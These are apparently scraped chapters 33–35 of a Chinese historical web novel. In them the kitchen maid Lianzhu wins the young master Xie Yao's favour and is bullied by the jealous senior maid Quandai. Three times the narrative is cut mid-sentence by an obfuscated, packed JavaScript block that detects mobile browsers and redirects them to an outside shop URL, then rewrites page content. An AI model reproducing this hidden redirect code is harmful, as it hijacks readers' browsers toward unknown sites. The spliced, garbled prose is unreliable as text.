连珠守着小厨房，主子不在，成日也就烧个水煮个茶。这会儿听见外头动静，又见小厮过来要灶上温着的水，便知道是谢垚回来了。 她才起身，就见桂芳过来：“连珠，泉黛姐姐说，少爷从山上下来，怕是洗一回不够，还要冲淋的清水，你兑好了再送过去。” 连珠应下，也不耽搁，把小炉子上烧得滚烫的水兑成温热的，又重新给炉里添了水，让继续烧着。 卧云居的正房颇大，正厅东侧连着书房，西侧除了卧房还有一暖阁连着沐浴隔间。 连珠提着水桶到了门口，见隔间的帘子已经放下，里面热气氤氲透出。 房里不见泉黛，也不见谢垚，连珠只好低头厚布帘子一角，侧身进去。 里面水汽更重，模糊视线。 她没抬头，只将水桶轻轻放在角落的木架上，正要退出去，眼角余光瞥见衣架上搭着件沾了尘土的紫色外袍，旁边屏风后，绸布窸窣声稍歇，扔出个白色的汗巾落在屏风上头。 连珠赶紧收回目光，快步退了出去。 屏风后头，谢垚瞧见那仓皇的背影，眉心微凝，就见泉黛收拾好换洗的衣裳走了过来。 她刚放下衣衫，又取了一托盘的胰子香露，想要服侍谢垚沐浴。 “行了，这里不用你，出去吧。” 泉黛闻言手里拿着的胰子一滑跌到地上，委屈着道了一声“是”，不情愿地撩了布帘。 她站在暖阁里，直眉瞪眼地发了一会儿呆，只觉得夫人去后，什么都变了。 原本少爷虽然性子冷，话不多，但对她和涧蓝这些夫人身边亲近的丫鬟，总还有着几分信赖。远不像现在这般隔着一层，疏远得厉害。 她跟在夫人身边瞧着少爷长大，夫人临走时又握了她的手，分明是要她好好看顾少爷。 可冷眼瞧着，少爷现在待她倒不如后买进来的顺心顺意。 她叹了口气，又胡想了一阵才扶着门框将谢垚换下的脏衣拿了出去。 正房的帘子一掀，正撞见连珠端了托盘过来。她心里不舒坦，瞧见连珠更是脑仁疼，压低了声音气骂道：“少爷正在里头沐浴，还没叫你，你就急赤白脸地闯进来，没规矩的蹄子！还是你打量着爷们回来，骚哄哄地就往上贴！” 她这话说得实在难听，简直是当着面往人脸上甩巴掌，叫连珠忍不住皱眉。 她到底还是谢培跟前的丫鬟，是暂借了到卧云居来帮忙。这身契也不在谢垚的手上，怎么着也轮不到泉黛如此编排她。更何况，她还没做错事儿。 她将手里的托盘往上抬了些，冷了声音道：“今儿天热，怕二少爷骑马回来中了暑气，泡茶切瓜好让二少爷梳洗完能降降热。我见桂芳不在，才自己送来，原打算放在桌上就走，二少爷总不会在正厅沐浴吧？” “你！”泉黛没想到这几日低眉顺眼的连珠竟也这般牙尖嘴利，只是她这话叫人挑不出刺，泉黛又看了眼托盘里的莲花壶，借口教训：“少爷才刚沐浴，你这会儿巴巴地泡什么茶来，等洗好，岂不是凉了！” “这是荷叶茯苓茶，温和清暑，放温了喝正好。”连珠知道泉黛看她不顺眼，也不欲和她多言，将托盘往她手里一放，“既然泉黛姐姐在，还请姐姐代我拿进去。若是二少爷一会儿想喝热茶，也请姐姐知会一声，我便送到门口。” 泉黛看她一迭声地把话说完扭了头就走，心头气盛，想叫住她再训诫几句，又怕动静大了惹得谢垚注意。 她转念想着，这妮子气性大也好，瞧她的样子也不乐意在少爷跟前伺候，正合了自己心意。 如此想着心头火倒消了，端了托盘放到厅里的圆桌上。 泉黛不喜连珠，但看那甜瓜挖了瓤去了皮，又细切成了好入口的小方状，特拿了斗彩缠枝纹的白瓷盘装了，衬得那瓜肉玲珑剔透，也觉得她事情做得还算不错。 她又掀开壶盖，见茶汤清亮，煮茶的渣滓没漏一点，闻来一股清凉微香，又缓缓点了头。 才合了盖，就听见隔间里水声稍大，片刻谢垚便披了长衫系了腰带，一掀帘子缓步出来。 泉黛见他头发半湿，赶紧拿了帕巾要去擦。 “给我吧。” 谢垚常在兵营，早习惯了自己动手，不耐烦有人伺候，直接将帕子拿了过来粗手擦了两下。 泉黛见他沐浴无需自己服侍，连干发这点小事也勿用自己，心中一空，强笑着：“少爷口可干了，今儿天热，喝些刚晾好的茯苓茶去去火。” 谢垚赶路回来，一刻没歇，也确实渴了。 他也没顾上泉黛说的什么茶，仰头喝了一杯，只觉得那茶汤入喉绵柔顺滑，真将他连日监理重建琐碎烦难的火气浇灭了大半。 “茶不错。” 谢垚又饮了一杯，对着泉黛赞了句好，这才让她面上挂了真心实意的笑。 “少爷可还要再吃些瓜，这是庄子昨日送来的，新鲜着，用井水凉了...” “不用，你去叫顺心把马牵好，我重新穿戴就要出门。” 泉黛应了，又唤来菊芳帮谢垚更衣。 暮色四合，延州城涌金门外。 谢垚着一身鸦青色团纹箭袖，外罩月白二色金银线满绣如意纹的褂子，胯下骏马踏蹄长嘶，显然是见了不远处传来的车马轱辘声。 一辆青篷马车在一队护卫的簇拥下缓缓驶来。 马车停稳，先下来的是个年约四旬，面皮白净，留着三缕髭须的官员。他身后跟着个年轻些的录事，一脸谨慎。 谢垚见人，缰绳在掌中挽过半圈，勒住马头，人已斜掠而下。 他随手把缰绳递给身边的顺心，抱拳行了个简单的武官礼：“骁骑校尉谢垚，奉敕监理慈云寺重修，王主事一路辛苦。” 王佑安站稳身形，目光在谢垚年轻的面孔上扫过。两人同是六品京官，只王佑安的年纪要比谢垚长上十岁。他拱手还礼，拿捏着腔调：“谢校尉，久闻大名啊。本官也是职责所在，不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215703|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言辛苦。” “城中已备下酒菜，不如...” “诶。”王佑安抬手捋了捋髭须，打断道，“谢校尉，修缮皇寺乃是为太后娘娘祈福的紧要工程，豫王殿下亦多次垂询，关切非常。本官既已抵达，理当先赴工地勘验一二，心中有了实底，才好向殿下回话，也不负殿下重托。” 重修皇寺原本算不得要紧大事，偏宫中传出话来，说太后梦见陪都寺庙残破致国运有缺。圣上又在朝堂上几次提出要安抚龙兴之地，硬生生将这事拔高了一层。 豫王从前便督修过京郊的寺庙，这回栖云山修寺的重担也理应落在他的头上，可圣上偏偏将这等要事转交毫无经验的齐王。其中意味深长，说不得是当今皇上圣心权衡。 如今几位皇子年纪渐长，太子之位空悬，又是朝局微妙，他王佑安是豫王一党，自然看不上齐王一派的谢湛之子，亦要当众驳他的面子。 谢垚心中冷笑，此等迂腐文人竟堂而皇之将豫王挂在嘴边，生怕别人不知他靠得哪座山。若他真为齐王一派，将此言透出风去，落在有心人耳中直达御前，就能叫他知道其中厉害。 也不知他这般天真，十多年的官是如何做下来的？ 王佑安故意摆出非此刻上山不可的姿态，心中却盘算着，夜路难行，谢垚这么个年轻武官必不敢让自己漏夜上山。等他劝自己一回，再顺势答应下来，也好叫这年轻人在自己面前低头。 谁知，他话音刚落，对面那年轻校尉连眼皮都未多眨一下，几乎是立刻便接口：“王主事心系太后，忠于王事，谢某佩服。既如此，谢某岂敢耽搁？” 谢垚说着，竟侧身对身后的随员下令：“给两位备马！” 王佑安一愣，原本要压谢垚一头的得意之色僵在脸上。他一介文人哪里会骑马，更别说要骑马夜行山路，少不得要掉下山去。只是话已出口，还打得是豫王名号，再要往回收已是难了。 他嗫嚅着喷出的气叫唇边的长须一飘，就听那不晓事的小子又道：“大人可是不会骑马？” 王佑安以为他要给个台阶，自己也准备就坡下驴，但听他勾了唇角道：“那也无妨，乘马车也可到栖云山下，只是山路狭窄，要上山就只能...步行了。” “从此处到山腰工地，约莫一个时辰。此刻出发，紧赶几步，借着火把，勉强还能看清路径，再晚怕是真看不见路了。”谢垚说着就引他上车，又下令出发，声音里分明透着轻快。 王佑安的脸一阵红一阵白，方才那番借势压人的底气，泄了大半。这谢垚，哪里是顺从，分明是揣着明白装糊涂，反手就给他挖了个坑，还是他亲手递的锹！ 到了栖云山下，那王佑安弃了车马，徒步上山，直磨得脚底起泡，心中暗暗叫苦，将那谢垚翻来覆去骂了百遍。 早知如此，就该应下那城中酒席，此刻已是美美吃了热汤饭，泡得暖暖澡准备歇下，哪用受这劳什子罪！ 等他连呼带喘到了寺门口，没有半分京官威仪，又见那小子骑马过来，声音不紧不慢：“王主事果然心诚陛下！” 这一句话叫他骂不得怨不得，一口气憋在胸口差点晕在寺门口。 那谢垚将人领到简单修缮的寮房门口，又让人送了丁夫的饭食，拱手道：“山上艰苦，只能委屈王主事了。” 王佑安听谢垚说要下山回城，看着那清汤寡水，已是恨不得给自己两个嘴巴。 门外谢垚蹬步上马，对着顺意道：“佩刀和私章都放在府中，今夜我回去歇息。你让人打两桶热水送到他们房里，再拿了房里的熏鱼鹅脯亲给他们送去。明日一早我再赶来。” 33. 狐媚子 夜路难行，顺心牵扯缰绳小心跟在谢垚后头，等到了山下两人又策马疾驰，不过半个时辰就在谢府门口下了马。 顺心牵了马匹交给门子，两步小跑跟上谢垚，终于是抽出空来问道：“少爷既让那营缮司的吃了苦头，何必还要顺意给他们送东西？” 谢垚快步往卧云居去，口中道：“桩要打得实，楔子也得留一个，都硬碰硬，早晚得断。” 他说着看了顺心一眼，见他似懂非懂，轻笑一声：“你跟着顺意久了，也知道要动脑子，倒不像从前一根筋的莽撞。” “少爷，哪有您这样说人的...” “行了，今儿你跟着我来回奔波也辛苦，一会儿让小厨房准备些饭菜，吃了便早些歇息。” 纵使谢垚年轻体壮，短短半日来回栖云山四趟又腹中空空，此刻也是筋骨酸乏、几分疲惫。 已是亥时，府中各处灯火大多已熄。 泉黛也裹了被子躺在床上，腹中捂了个汤婆子，睡得昏昏沉沉。她知谢垚今夜要归府歇息，本打算亲自侍奉，谁知晚饭后来了月事疼得厉害，便让涧蓝替了她。 这会儿听门外的动静，涧蓝赶紧放了手里的书卷迎了出来。 “少爷。” 她看谢垚身上是长途跋涉的风尘，吩咐了桂芳去打净手净面的水，自己又接了他脱下的褂子挂到架上，这才转身去倒了茶。 “不忙，让小厨房做些吃的，顺心晚上也饿着，做得了给他也送一份。” 涧蓝一听这话，心中奇怪，不是说要请什么京官吃席，怎的还饿着肚子？ 她虽好奇，但也清楚谢垚的性子，该说的自然会吩咐，不该问的半个字也不能多嘴。 压下心思，她亲去了小厨房吩咐连珠准备饭菜。 “做些吃的送到房里去，不拘什么，要快些。” 连珠点头，又问：“二少爷可有什么忌口的？” “少爷没什么忌口的，不过暑天倒是爱吃些酸辣的。”涧蓝说罢，又叮嘱，“要快。” 泉黛特交代少爷晚上在外用饭，小厨房并没多少准备，只剩了半罐鸡汤和一些酱卤肉菜。 连珠手脚麻利，拿了鸡汤在灶上热着，另烧了一锅水。等汤滚的时候又切了一碟姜豉肉片，那肉片肥瘦相间切得极薄，用卤汁浸了一夜，油光蹭亮瞧着诱人。 刚码好放盘里，炉子上的水也滚了两回，连珠挽了一籽儿面落进水里。 想起涧蓝方才说得谢垚爱吃酸辣的。 前儿大厨房的小桃告诉她最近宝善河开河，有不少贩子来府外兜售河鲜，若是想要可以拿钱来买。连珠当时想着范荣儿也喜河鲜，便拿了五十文请小桃给她留两条新鲜的草鱼。下午她才剔了鱼骨，把鱼肉敲打成鱼蓉，?了五十来个丸子，这会儿正好拿来做酸辣鱼丸。 葱姜蒜末并一些辣椒用热油泼了，加了调料和自己腌的野山椒酱同煮熟的鱼丸拌在一块，又撒了切得细碎的芫荽。 两碟菜放上托盘，锅里的面也浮起来，连珠两三筷捞起，用青花瓜果纹宫碗装了，舀满鸡汤，添了两颗青菜，一并放上托盘。 连珠小心端了送到正房门口，她顾及着泉黛先前说的话，犹疑要不要送进去。这般踌躇，就听涧蓝在房里头轻喊她：“还愣着做什么，快进来啊。” 连珠依言跨了门槛，正堂却不见谢垚。涧蓝一看她端来的饭菜，清清爽爽，点点头让她摆上桌，自己则走到书房口：“少爷，饭菜好了，趁热用吧。” 谢垚从书房走出，他已换了身家常直裰，袖口随意挽起，眉宇间似有倦色。 连珠低下头，侧身让到一旁，准备悄声退出。 就听谢垚随口问道：“顺心那边，可送了？” 涧蓝忘了这茬，方才没顾上问连珠，这会儿只好朝她使了个眼色，让她来答。 “回二少爷的话，已让婆子给顺心送去了。” 她说话时依旧低着头，姿态恭顺。 谢垚听着这声儿，却觉得有些熟悉。他移过目光看去，就见雀梅色缭绫帐子前穿藕荷色窄袖衫裙的丫鬟低眉顺眼着叫烛火照出鼻尖挺翘的一小点。 “是你啊。” 单单三个字让涧蓝和连珠心头皆是一动，屋中静了片刻，谢垚也没再说什么，只执筷吃面。 连珠呼出一口气，心道这儿没自己的事，轻声退步出去。 小厨房弄完饭菜，有些狼藉，连珠打了水洗锅擦案，想着一会儿谢垚吃完还要换热茶热水，就又给炉子加了一块煤饼。 不多时，涧蓝推了半掩的门进来，果然是问连珠要水。 她拎壶重新泡上热茶，给涧蓝递去，才刚歇下坐一会儿，又看涧蓝进来。 端着的托盘里饭菜都吃得干净，涧蓝见她上前帮手，就笑着道：“才做了饭菜，怎么不歇会儿？这厨房一会儿让婆子们收拾就是。” 连珠笑笑不语，只接了涧蓝手里的托盘就要刷洗，却被她拦住，拉了自己的手就往一边坐。 “先不忙，刚刚你做的那鱼丸，少爷吃了还夸好。原先只道你有个烹茶的手艺，倒不知菜也做得这么好。”涧蓝说着不等连珠谦虚几句，口中笑笑又问，“你从前在三少爷跟前伺候，怎识得咱们少爷？” 这话一出，连珠就知她前头说了那么多，不过是为后头这一问。怕不是也和泉黛一样，误将自己看做那勾引爷们的狐媚。 索性她身正不怕影斜，三两句就将缘由给解释了。 涧蓝听了心口微松：“原是如此，你在静修斋帮忙，我竟是没留意。” “那会儿拨过去的丫头下人不下几十，涧蓝姐姐又成日忙着，哪里顾得上呢？” 涧蓝听了连珠的解释，轻松将这篇揭了过去，才说起明日一早谢垚就要去栖云山，还得劳她早去大厨房将朝饭拿来。 她说完回屋，床上泉黛早睡熟了。 想到方才谢垚见了连珠的反应，原是心中吓了一跳。少爷从前哪里留意过什么丫鬟，今夜竟主动问了连珠。 不过听了连珠的解释，她心中也算疑虑消了，心中暗道，这事还是瞒下来不要告诉泉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221668|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黛的好。泉黛对连珠有偏见，平日就对她横挑鼻子竖挑眼的，要知道这个又要起事端。 其实，涧蓝不像泉黛被那薛小姐蒙了眼，这些日她冷眼看着连珠只管待在小厨房做事，大门不出二门不迈，不像是个轻狂献媚的。更何况连珠为人温和，做事周全，又生得可怜可爱，倒让她生出几分好感亲近。 翌日，日头东偏，泉黛迟迟起床。 房门吱呀开了，涧蓝看她面红鬓乱，叹声道：“都日上三竿了，还不起呢？” “少爷呢？” “一早就走了。”涧蓝说着将一瓷碗放到桌上，“你洗漱过就趁人把这喝了。” 泉黛披衣下床，边走边问：“是什么？” “红糖姜茶。”涧蓝看她一眼，怕她仍错将连珠当成什么奸恶之人，开口解释，“连珠听说你身子不爽利，拿了老姜红糖，特给你煮的。她有这份心胸，也不计较什么，你若是再待她横眉冷眼倒有些不近人情了。” 泉黛被涧蓝说得面上一红，嘴硬道：“我又没让她煮这茶，要她来做什么好人。” “你啊！”涧蓝和泉黛一处长大，知道她是个刀子嘴，摇摇头无奈道，“得了好处还不饶人，偏叫你什么时候吃了亏，才肯长个记性！” 泉黛洗漱之后，饮了两口姜茶，那茶熬得酽酽的，喝下去腹中暖作一团，果然舒服不少。 她看涧蓝一边坐着，抿唇摩挲着碗沿：“好了好了，你当我是那等没良心的小人。我不白喝她的茶，不是说她善做女红么？回头我就把那香云纱的尺头给了她，让她不白费了这点柴火。” 泉黛并非吝啬之人，午后就把东西给连珠送去。如此郑重其事、和颜悦色，让连珠受宠若惊。 之后，泉黛对着连珠也不再刻意挑刺，心情好起来还邀她一同画绣花样子。 卧云居一派安宁，除一场雨后，水榭西角的房檐破了个大洞。府里派人来修理，又封了一条青石小道，吵吵打打得嘈杂不堪。 不几日，谢垚又从栖云山回来。 寺庙筹建前期，事多繁杂，掌案、总管、匠头...各处人手也要调配，延洲的地方官府也发卷征召民夫、工匠，短短时日，已有四百余人上山。人一多难免混乱，谢垚前后巡检，又思虑再过半月就是雨季，工期要重新归置，临近的山溪水道，一律清淤拓宽。将所有的事安排妥当，他才下山来歇息两日。 暑气渐浓，屋子里放了冰，大厨房上得都是败火清凉的菜色。 泉黛站在谢垚身后打扇，生怕他热着。 冬瓜荷叶煲鸭、海凉粉、三虾面...谢垚喝了半碗汤，忽地想起那天夜里白生生、辣得呛鼻的鱼丸。 他停了筷子，微微偏头道：“你回头问问小厨房的连珠，上回做的鱼糜丸子可还有？若有，晚膳便上一碗。” 连珠，上回，鱼糜丸子？ 单单一句话就让泉黛目瞪口呆地愣在原地，旋即心里又冒出股火来，好啊，她果然是没想错。连珠个天杀的小狐媚子，竟不知什么时候真勾到了少爷身边！ 34. 小鬼难缠 自来了延洲，泉黛就收了薛家小姐的两封来信。一封不过寻常问候，另一封隔了月余，内容却让泉黛精神一振。 薛馥芬在信中写道，因着家中一些事务，加之她外祖有意回延洲祖宅小住，她大约年后便会随同前往延洲。这话说得含蓄，泉黛岂能不明白其中深意？ 薛小姐来延洲，分明是冲少爷来的。 随信一并到的还有一黑漆匣子，里头两副头面分别赠给泉黛和涧蓝，还有一锦囊，单独放着只白玉镯子，是单送给泉黛的。 这份礼不可谓不重。 薛家虽说跟永宁候沾亲带故，但也并非累世公卿。薛馥芬的父亲薛谷，原只是个正五品的上林苑监，家道不过中等。直到薛谷之妹选秀入宫，因她性情柔顺、姿容出众得蒙圣眷，短短几年便从常在升至嫔位。薛家由此沾了皇亲，门楣渐次光耀起来。 薛谷膝下只薛馥芬这颗独珠，自小便是千娇万宠着长大。加之宫中那位嫔妃姑姑也时常赏赐关照，薛馥芬可谓是要风得风，要雨得雨。 她生得貌美，又被薛谷精心教养，原是打量着将来结一门好亲。京中适龄的公子哥不少，家世更高些的也不是没有，可薛馥芬偏偏一个也瞧不上，一颗芳心早系在了表兄谢垚身上。 薛谷早先也觉得谢家门第清贵，谢垚又年轻中举，自是前途无量。 可后来谢垚与父决裂，自请外差，行事越发有悖正途，薛谷这结亲的心就淡了。 奈何薛馥芬铁了心。 她自小要什么有什么，何曾受过挫折？认定了谢垚，便是九头牛也拉不回。 她一心想嫁给谢培，连奉承着谢培跟前得意的丫鬟这样低三下四的事都肯去做。送两副头面，舍些钱财，不过是小事罢了。 泉黛也是心向明月，就盼着薛馥芬能到延洲。现下听说少爷跟前多了个想往上爬的狐媚子，自然是怒火中烧。 她朝几个丫鬟私下一打听，就将谢垚回来那晚的事打听了个大概。 虽说连珠没什么出格之举，但泉黛认定她不安分。 自己三番五次明里暗里叮嘱，不许她到正房近前伺候，她倒好，不声不响就寻了机会。这分明是阳奉阴违，没把自己的话放在眼里！若不早早敲打，只怕日后更要蹬鼻子上脸。 泉黛等了谢垚回返栖云山，就将连珠叫到跟前，脚边是一箱冬日的厚衣。 “从京里带来的冬衣，路上不知是不是受了潮，好些厚重的毛皮大氅、锦缎棉袍都染了味，须得彻底浆洗熏晒过，才好备用。” 她难得拉了连珠的手，一副望她帮忙有事相求的模样：“桂芳、菊芳手头还有少爷书房窗纱、椅披的换洗活儿，耽搁不得。青芝性子毛躁，这些贵重衣物交给她，我不放心。” “你做事向来细致稳妥，这浆洗冬衣的差事，便交给你了。”泉黛一语定音，哪里是求她帮忙。 连珠看了那箱子，里头约莫十几件衣裳，多是些大毛的、厚锦的，洗起来颇费力气，没个几天怕是做不完这活。 连珠心下思量，总觉得泉黛这一出和白芍当时给她找活的教训如出一辙。 但毕竟只是洗洗衣裳，多少也还属于她丫鬟的分内之事，只是费些力气，连珠也不想把关系闹得太僵，便应了下来。 泉黛没想到她如此逆来顺受，怔愣一刻，也不客气，将衣裳交给她便施然走了。 箱子里的衣裳都颇金贵，尤其是那些皮袄裘衣，都用得整块兽皮，一件不下五十两，洗起来不光费功夫，稍不注意就有损伤。 泉黛打得是好算盘，这些衣裳浆洗起来就能叫人断了腰，更不说她盼着连珠不小心洗坏了衣裳，好叫她有借口好好教训。 卧云居不同清月阁，占地颇大，院中曲桥边就有一口水井。 摇上两桶水才将一旁树荫下的杉木盆装了六分满，又拿开水兑温，将一件织锦的长袄浸入盆里。打匀皂角，搓洗时又顺着角度避忌着不用蛮力伤了风毛。 幸亏自己前世在宫中浆洗过这些贵价的衣裳，不然真要闯出祸事。 这会儿正是初夏，连珠特意挑了在树荫下洗衣，但冬衣浸了水分量更重，两三下就让她连连垂汗。 连洗了四天之后，那箱中的衣裳还剩两件，连珠已经是腰酸背疼。也亏得青芝趁人不注意，偷偷来帮了几回。 这日，最后一件狐裘挂上竹竿，她才轻抚额汗，就听见一声人拟着雀鸟般的啁啾。 她循声看去，曲桥那边横着的一道篱笆后探出半个身子，是冬生。 “冬生？” 说这冬生是跟着来修理水谢的屋顶，本一日就成了。哪知来的师傅上房之后，又道二楼房顶一根长梁的木头朽得厉害，要及时换了。 换梁不比修理屋顶，琉璃瓦、椽子层层叠叠，拆旧换新，几日还没完工。 冬生其实在连珠洗衣的第二日就瞧见她了。 第一日还窃喜能看着连珠，第二日、第三日...他瞧她身子弯得愈发厉害，敲着胳膊放松的动作愈发频繁，就觉出不对来。 他是愚钝，但也不至于真的傻。 高门大户里什么排挤欺辱的事，他也有见识，在他看来连珠性情纯美，定然是被欺负了。 他娘早些年在府里就是浆洗房做事，一天刷洗下来，腰都直不起来。 冬生心疼娘，也心疼连珠。 “我这几日跟着在修那边的屋顶呢。”冬生指了水谢的方向，瞧她累得满脸发白，连害羞都顾不上了，急道，“早看见姐姐一个人在这儿洗这么多厚衣裳，我娘从前洗衣总喊腰疼，用的就是这个跌打药油。可管用了，抹在腰上搓热了...” 说着，冬生的目光不自觉就落在连珠盈盈一握地腰上，这会儿才红了面庞。 “你有心了，不过...” 冬生一听她话里有要拒绝的意思，赶紧把药酒塞她手里：“不值几个钱的。腰疼我最知道了，不好好养，以后要吃大亏的。” 水谢那边，已是有人朝这边望来。连珠不好和冬生拉扯，只得将药酒接了下来，想着日后再还他这个人情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225787|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她刚把药酒收进怀里，便打算收了木盆回去，却见泉黛不紧不慢地朝自己过来。 她心中一沉，怕是这事还没完。 泉黛让连珠洗冬衣，是打算拿她错处，岂料她衣裳洗得仔细不说，还熨烫熏香，收拾得整整齐齐。人是累着了，但压根没能给她狠狠一顿教训。 她自是不肯轻易饶了连珠，看她恭顺却掩不住憔悴的模样，暗道她是真能忍。 泉黛目光在竿上两件厚裘上转了一圈，对着连珠道：“瞧瞧，我就知道这活交给你准没错。只是，眼下还有一桩紧要事。” 连珠看她，知道敲打又来了。 “说起来也和这些衣裳一样，少爷有一身皮甲，怕是巡查时要穿，只是之前沾了尘土泥浆，还得劳你。”泉黛皮笑肉不笑，说是劳烦，其实已是把这件事推到了连珠身上。 夜里，连珠回房歇着，青芝已是提前替她打了水。 青芝对着连珠从来感情复杂，开始是瞧不上，后来敬着怕着，现下又觉得她可怜了。 “哎，也不知你遭得哪门子罪。” 青芝看她疼得胳膊都抬不起来，手才碰了热水就嘶地一声往后缩了，凑近一看竟是有几道血痕。 “哎哟哟，怎么伤了？”青芝扶她坐下，替她裹了帕子。 连珠谢了她，又一番擦洗，从柜里拿了伤药，细细抹了伤口。 泉黛让她洗的皮甲单是上衣就足有二十几斤重，皮质难护理不说，甲片连接处还另有钉钩连着，稍不留意就要划破手指。她已是仔细，还是难免受伤。 青芝看她一身伤痛，心道，这还真是小鬼难缠，也不知连珠哪里得罪了那位副小姐，竟使了这样的手段教训她。自己可怜她不假，但人前还是避忌着，别让那股邪火烧到自己身上来。 —— 皇寺重建前期的工作千头万绪，但好歹是厘清了丝缕，谢垚也方得抽身，能下山歇上一段时间。 他留顺意在山上，自己独回了谢府。 谢渊知他公事繁杂，自己又不喜好张罗，寻常并不来扰他。谢浔更是成日流连外头花天酒地，自顾不暇，哪还记得家里有这么个侄儿。 唯袁英华，听闻谢垚回府，立刻吩咐大厨房，往卧云居的份例之外再添几样时令精细菜色，并一盅滋补的参鸡汤，十足的周到体贴。 泉黛站在一旁刚要布菜，便又遭谢垚拒绝，让她去唤顺心来回话。 泉黛掉了脸子，却也不敢说个不字。她叫了顺心来，还想跟着在屋里站着，一看谢垚的眼色也是不好待了。 “这几日府中可还好？”谢垚脸没抬。 “都好，只前儿下雨水榭屋顶漏了个洞，工匠来修，又说梁朽得厉害。敲打几日，已是换好了。”顺心几句把事情交代，也不多话。 谢垚叫他来，就是为的这事，听了也让他回去。 顺心踌躇两步，瞧着今儿少爷像是心情不错，又想起冬生的请托，正犹豫着要不要张口，就听谢垚冷道：“有话就说，你何时也学得那扭捏作态？” 35. 这样一手丑字 泉黛故意找茬，翻了冬衣让连珠浆洗的事涧蓝也看在眼里。 她性子和顺，又对连珠心存好感，便在泉黛跟前帮着说了两句。 哪知，她口一张就被泉黛呛声顶了回来：“我不过叫她洗两件衣裳，哪里是为难！” 旋即她又看向涧蓝鬓发上的一支钗，是薛馥芬送来头面里拆出的一支。她眼神暗示意有所指，拿人手短，涧蓝劝阻的话也不好再说出口。 之后涧蓝又冷眼瞧着泉黛翻出少爷陈年不穿的旧甲，觉得她实在有些过了。只是泉黛的性子倔犟，被夫人宠得更是不知天高地厚，自己的话她如何肯听。 这会儿见她面色冷冷地回屋，忍不住问：“少爷不是要用膳，你怎么回来了？” “少爷如今哪里还需要我陪，只顺心顺意两个就够了。”泉黛觉得自己哪里还有半分大丫头的待遇，少爷连说句话都要避忌自己，倒像是防贼一样。 她一番抱怨，自然也不知顺心在房中说的事。 “有话就说，你何时也学得那扭捏作态？” 顺心脚步回撤，冲着谢垚讨好地一笑：“什么都瞒不过少爷。” 谢垚又瞥他一眼，叫顺心不敢再装乖卖好，赶紧道：“少爷，顺心斗胆，跟您求件事。院里有个丫头叫连珠的，这几日一人浆洗二三十件厚重冬衣不说，今儿又翻出套旧皮甲让她清理养护，虽说泉黛姐姐自个儿有管人的法子，但那丫头也实在可怜，我想...” 他话没说完，就见谢垚盯了他，打断道：“你倒是怜香惜玉。” 顺心嘿嘿干笑两声：“少爷说笑了，我哪有那个心思。顺心不敢瞒您，是这几日跟着我的一个小兄弟，见天儿看见那丫头受累，心里不落忍，求到我跟前。我也是看他一片赤诚，又想着那丫头确实做得辛苦，这才斗胆又求到少爷您这儿。” 他觑着谢垚的脸色，见他平静无波，只是一时没有接话。 房里一时安静下来，更漏滴水声细微可闻。 连珠... 上回来府，谢垚就记起了这个丫鬟，守灵时给自己递过软垫，又送过一份兰香豆蓉糕。也记得她原先是三弟谢培跟前的人，情分好似非比寻常。这会儿，倒是又多了个小厮来替她求情。 谢垚心里冷不丁冒出红颜祸水四个字，眉心微皱，叫顺心看了忐忑。 也真奇怪，不过是体恤一个丫鬟，怎么还让少爷脸上露出这样复杂的神情。 片刻，谢垚才终于开口：“你去告诉泉黛，这大厨房的饭菜不合胃口，日后让连珠专事小厨房的活，不必再做别的事了。” 顺心见谢垚发话，面上一喜，连声应是，躬身退了出去。 院里。 泉黛看向顺心，脸上几乎要挂不住：“少爷...真是如此说的？” 顺心因着泉黛故意刁难连珠，心中觉得她这般行事，未免有失气度。只是她到底是院里的大丫鬟，面上仍旧恭敬着：“少爷成日在山上吃喝随意，若是回府还不能用些合胃口的，那可真是我们的不是了。前儿连珠做的菜，少爷还算满意，以后就让她专管灶上活计。其余的杂事，便不必再派给她了。” 泉黛听着这话，只觉得一股气堵在胸口，上不去也下不来。 怎么就这么巧，自己才刚使了个计要好好压一压连珠，少爷这厢就发了话。 莫不是真看上了那个小妖精？ 她浑噩乱想进了屋里，涧蓝倚着窗户早将两人言语听进耳朵。她心中暗道，泉黛自忖在院里一手遮天，但世上哪有不漏风的墙，恐是少爷耳朵里进了几句闲话，借机敲打，不说透也是给她留着脸面罢了。 她和泉黛一起长大，平日泉黛气性大，自己没少受她的委屈，但到底是有情分，不肯见她一错再错，提点道：“既是少爷吩咐，咱们照做就是了。我看上回连珠几个小菜做得还算可心可意，若真能叫少爷饮食顺心，也是功劳一件。” 泉黛飞了一记白眼，心中是恨得不行。上回涧蓝便瞒着自己唤了连珠近身伺候，这下又来戳她的肺窝。心道她成亲之后，自是心中挂着小家，哪里还顾得上自己和少爷。 